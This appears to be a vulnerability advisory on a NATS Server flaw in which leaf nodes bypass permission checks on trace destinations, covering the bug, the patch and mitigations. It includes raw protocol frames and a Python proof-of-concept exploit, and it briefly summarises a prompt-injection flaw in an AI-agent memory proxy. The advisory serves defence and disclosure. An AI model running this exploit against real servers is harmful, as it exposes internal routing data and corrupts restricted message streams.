Nov 21, 2026·10 min read·3 visits
An incomplete fix for CVE-2026-33249 in NATS Server leaves leaf node connections exempt from Nats-Trace-Dest publish permission checks. Operators of connected leaf nodes can route internal trace audit payloads to arbitrary unauthorized subjects and disrupt message storage or forwarding via Nats-Trace-Only framing. Upgrading to NATS Server 2.12.8 or 2.14.3 resolves the flaw.
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
NATS Server (nats-server) is a high-performance messaging system designed for cloud-native and edge deployments. It supports distributed topologies by allowing 'leaf nodes'—acting as secondary spoke servers—to bridge onto a central hub cluster over dedicated TCP ports (defaulting to port 7422). To facilitate multi-tenant isolation and least-privilege access across hub-and-spoke topologies, NATS enforces subject-based publish and subscribe permissions on both standard client connections and leaf node interconnects.
In addition to core message routing, NATS Server implements a distributed message tracing mechanism inside server/msgtrace.go. Publishers can attach a Nats-Trace-Dest header to an HMSG frame to specify a target subject where the server should emit diagnostic trace events as the message traverses the topology. Publishers can also include the boolean header Nats-Trace-Only: true to instruct the server to trace the routing path without delivering or storing the underlying message payload to standard subscribers or JetStream streams.
CVE-2026-58254 (also tracked as GHSA-p3j5-5hrq-p75h) is an incorrect authorization vulnerability (CWE-863) stemming from an incomplete fix for CVE-2026-33249. When validating whether an incoming message is authorized to emit trace events to the subject declared in Nats-Trace-Dest, the allowedToPublishOnMsgTraceDest function only inspected the permission structure used by standard client connections (c.perms).
Because leaf node connections (c.kind == LEAF) evaluate permissions through distinct directional checks rather than c.perms, the validation function bypassed enforcement for all leaf traffic and defaulted to returning true. Consequently, any authenticated leaf node connection could inject arbitrary destination subjects in Nats-Trace-Dest, causing the hub server to publish internal routing metadata to subjects the leaf node was explicitly forbidden from writing to.
The root cause of CVE-2026-58254 resides in how NATS Server differentiates client connection states and permission models within the client struct. Standard client connections (c.kind == CLIENT) populate the c.perms pointer with explicit allow and deny subject lists (c.perms.pub.allow and c.perms.pub.deny), which are evaluated via c.pubAllowedFullCheck(). In contrast, leaf node connections (c.kind == LEAF) manage directional subject access control using specialized wrapper methods: c.leafReceiveAllowed() for spoke leaf nodes and c.leafSendAllowed() for hub leaf connections.
When message tracing is triggered on an inbound HMSG frame, the server calls allowedToPublishOnMsgTraceDest(s *Server, acc *Account, dest string) bool in server/msgtrace.go. This function initializes a local boolean variable allowed := true before acquiring the client mutex lock (c.mu.Lock()). The function was designed to set allowed = false only if a permission violation was actively detected.
Prior to the patch, the conditional guard inside allowedToPublishOnMsgTraceDest checked if c.perms != nil && (c.perms.pub.allow != nil || c.perms.pub.deny != nil) && !c.pubAllowedFullCheck(dest, false, true). When a traced message arrived over a leaf connection, this condition failed to evaluate the leaf's effective publish restrictions because leaf node permission enforcement is decoupled from the c.pubAllowedFullCheck path used for standard clients.
As a result of the default-allow initialization (allowed := true) combined with the missing c.kind == LEAF branch, the function exited the mutex lock and returned true for every leaf connection regardless of the configured user or account permissions. The server subsequently treated the unauthorized Nats-Trace-Dest subject as verified and dispatched internal trace records directly into the target account's subject space.
The vulnerability was addressed in commit cbe845932980b71563efac5cfa4cc751c88936cd by introducing explicit connection-kind branching inside allowedToPublishOnMsgTraceDest in server/msgtrace.go. Before the patch, the function assumed all callers needing publish validation could be checked exclusively through c.perms and c.pubAllowedFullCheck.
// Vulnerable code in server/msgtrace.go (prior to 2.12.8 / 2.14.3)
func (c *client) allowedToPublishOnMsgTraceDest(s *Server, acc *Account, dest string) bool {
// ... earlier destination validation ...
allowed := true
c.mu.Lock()
// BUG: Leaf connections (c.kind == LEAF) are not evaluated via leafReceiveAllowed/leafSendAllowed.
// Because allowed defaults to true, leaf connections bypass trace destination authorization.
if c.perms != nil && (c.perms.pub.allow != nil || c.perms.pub.deny != nil) && !c.pubAllowedFullCheck(dest, false, true) {
allowed = false
}
c.mu.Unlock()
return allowed
}The patch modifies allowedToPublishOnMsgTraceDest to first inspect whether c.kind == LEAF. If the connection is a leaf node, the server checks whether it is operating as a spoke leaf node via c.isSpokeLeafNode(). For spoke leaf nodes, it validates the normalized trace destination (td) using c.leafReceiveAllowed(td); for non-spoke (hub) leaf connections, it validates the destination using c.leafSendAllowed(td).
// Patched code in server/msgtrace.go (Commit cbe845932980b71563efac5cfa4cc751c88936cd)
func (c *client) allowedToPublishOnMsgTraceDest(s *Server, acc *Account, dest string) bool {
// ... earlier destination validation ...
allowed := true
c.mu.Lock()
if c.kind == LEAF {
// FIX: Explicitly enforce directional leaf permission sets for trace destinations
if c.isSpokeLeafNode() {
allowed = c.leafReceiveAllowed(td)
} else {
allowed = c.leafSendAllowed(td)
}
} else if c.perms != nil && (c.perms.pub.allow != nil || c.perms.pub.deny != nil) && !c.pubAllowedFullCheck(dest, false, true) {
allowed = false
}
c.mu.Unlock()
return allowed
}> [!NOTE]
> In addition to the fix in server/msgtrace.go, the commit added the unit test TestMsgTraceLeafNodeRequiresPublishPermissionForTraceDest in server/msgtrace_test.go. This test provisions a hub server with a restricted leaf user (publish: ["pub.ok", "trace.ok"]), transmits an HMSG over the leaf connection targeting Nats-Trace-Dest: secret.trace, and verifies that no trace message is emitted and a Publish Violation error is logged.
Regarding fix completeness, routing c.kind == LEAF through leafReceiveAllowed and leafSendAllowed aligns trace destination validation with normal leaf payload publishing checks. Both spoke and hub leaf node directions are covered under the client lock (c.mu.Lock()), closing the authorization gap left after CVE-2026-33249.
Exploiting CVE-2026-58254 requires network connectivity to the NATS Server leaf node listener port (typically TCP port 7422) and valid authentication credentials for a leaf node connection. The account or user associated with the leaf connection only needs permission to publish to at least one legitimate subject (for example, pub.ok), even if its publish permissions strictly deny access to all other subjects in the account.
The attack is performed using the text-based NATS leaf node wire protocol. First, the attacker establishes a TCP connection to the hub's leaf node port, reads the server INFO banner, and authenticates by sending a CONNECT frame with header support enabled ("headers":true), followed by a PING command:
CONNECT {"user":"leaf","pass":"pwd","headers":true}
PINGOnce the leaf session is established, the attacker constructs an HMSG frame addressed to a subject the leaf node is authorized to publish to (pub.ok). Inside the NATS header block (NATS/1.0), the attacker injects Nats-Trace-Dest: secret.trace—pointing to a restricted subject—along with Nats-Trace-Only: true:
HMSG pub.ok 59 64
NATS/1.0
Nats-Trace-Dest: secret.trace
Nats-Trace-Only: true
helloA working proof-of-concept harness (googlesky/CVE-2026-58254) demonstrates this full sequence using raw Python sockets against a vulnerable hub server:
import socket, time, json, sys
dest = sys.argv[1] if len(sys.argv) > 1 else "secret.trace"
# 1. Authenticate to the Leafnode port (7422) as restricted user 'leaf'
leaf = socket.create_connection(("127.0.0.1", 7422), timeout=5)
lf = leaf.makefile("rb")
lf.readline() # Read INFO
leaf.sendall(b'CONNECT {"user":"leaf","pass":"pwd","headers":true}\r\nPING\r\n')
lf.readline() # Read PONG
time.sleep(0.4)
# 2. Transmit HMSG on allowed subject 'pub.ok' with unauthorized Nats-Trace-Dest
hdr = "NATS/1.0\r\nNats-Trace-Dest: %s\r\nNats-Trace-Only: true\r\n\r\n" % dest
full = hdr + "hello"
leaf.sendall(("HMSG pub.ok %d %d\r\n%s\r\n" % (len(hdr), len(full), full)).encode())On a vulnerable NATS Server (<= 2.12.7 or 2.14.0-RC.1 through 2.14.2), the hub processes the HMSG on pub.ok, skips permission enforcement for Nats-Trace-Dest, and publishes a JSON-formatted internal trace event directly to secret.trace. Any internal service or client subscribed to secret.trace receives the unsolicited trace frame. On a patched server (>= 2.12.8 or >= 2.14.3), the server blocks the trace emission and logs a Publish Violation for secret.trace.
The security impact of CVE-2026-58254 spans both confidentiality and integrity within multi-tenant or segmented NATS topologies. When a leaf node operator triggers trace delivery to an unauthorized subject, the NATS server generates trace audit payloads containing internal routing metadata. Depending on the hub server's routing path, these trace events expose internal subscription mappings, account scoping details, service import and export boundaries, and JetStream stream or consumer state.
In addition to information disclosure, the vulnerability impacts message integrity and service behavior. By injecting trace frames onto internal control or application subjects that expect strictly formatted payloads from trusted publishers, an attacker can pollute internal data streams or trigger unintended application logic in subscribers listening on those restricted channels. Furthermore, abusing the Nats-Trace-Only: true header suppresses standard payload forwarding and JetStream persistence for traced messages, allowing a rogue leaf node to probe routing topologies without delivering normal application messages.
NVD assigns CVE-2026-58254 a CVSS v3.1 base score of 6.5 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N. The GitHub CNA evaluated the vulnerability under CVSS v4.0 at a base score of 5.3 (Medium) with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N, reflecting the requirement for low privileges (PR:L, representing authenticated leaf node credentials) and low impacts across confidentiality, integrity, and availability.
As of current threat intelligence assessments, CVE-2026-58254 has an EPSS score of 0.00308 (24.25th percentile) and is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. While public proof-of-concept exploit code is available, successful exploitation in production environments is constrained to deployments that expose leaf node listener ports to untrusted or semi-trusted edge operators.
The primary remediation for CVE-2026-58254 is to upgrade nats-server to a release containing commit cbe845932980b71563efac5cfa4cc751c88936cd. Organizations running the 2.12.x release branch must upgrade to version 2.12.8 or later. Organizations utilizing the 2.14.x release branch (including release candidates from 2.14.0-RC.1 through 2.14.2) must upgrade to version 2.14.3 or later.
For environments where an immediate binary upgrade is not feasible, administrators should implement network and configuration controls around leaf node listeners:
7422/tcp) using host firewalls or cloud security groups so that only verified, trusted spoke IP addresses can initiate leaf handshakes.leafnodes and accounts configuration blocks in nats-server.conf. If a connected leaf node only needs to consume messages from the hub, revoke its publish permissions entirely (publish: [] or deny rules) so it cannot transmit inbound HMSG frames.Publish Violation events associated with leaf node connections, and audit unexpected traffic patterns on internal control subjects.After upgrading to v2.12.8 or v2.14.3, administrators can verify the patch by checking the running server version via nats-server --version or inspecting the version field in the server INFO JSON banner on port 4222 or 7422. No configuration file syntax changes are required for the patched permission checks to take effect.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
nats-server nats-io | <= 2.12.7 | 2.12.8 |
nats-server nats-io | >= 2.14.0-RC.1, <= 2.14.2 | 2.14.3 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-58254 (GHSA-p3j5-5hrq-p75h) |
| Weakness Class | CWE-863: Incorrect Authorization |
| CVSS v3.1 / v4.0 | 6.5 Medium (v3.1) / 5.3 Medium (v4.0) |
| Attack Vector | Network (Leaf Node Protocol Port 7422) |
| Affected Function | allowedToPublishOnMsgTraceDest (server/msgtrace.go) |
| EPSS Score | 0.31% (24.25th Percentile) |
| Exploit Status | Public Proof-of-Concept (PoC) Available |
| CISA KEV Status | Not Listed |
The software performs an authorization check when an actor attempts to access a resource or perform an action, but the check is incorrectly implemented, allowing the actor to bypass intended security controls.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.
svglib versions prior to 2.3.1 contain an uncontrolled resource consumption vulnerability in the svg2rlg() renderer. When parsing SVG documents containing nested <use> elements, SvgRenderer.renderUse() recursively resolves and deep-copies referenced subtrees without enforcing a global expansion limit. Although the library detects and blocks direct circular references, an attacker can construct an acyclic directed reference graph with high fan-out (an SVG analogue to the XML Billion Laughs attack). Processing a crafted SVG payload of less than 2 KB triggers exponential node duplication, exhausting CPU and memory in applications that convert user-supplied SVGs or HTML documents embedding SVG content.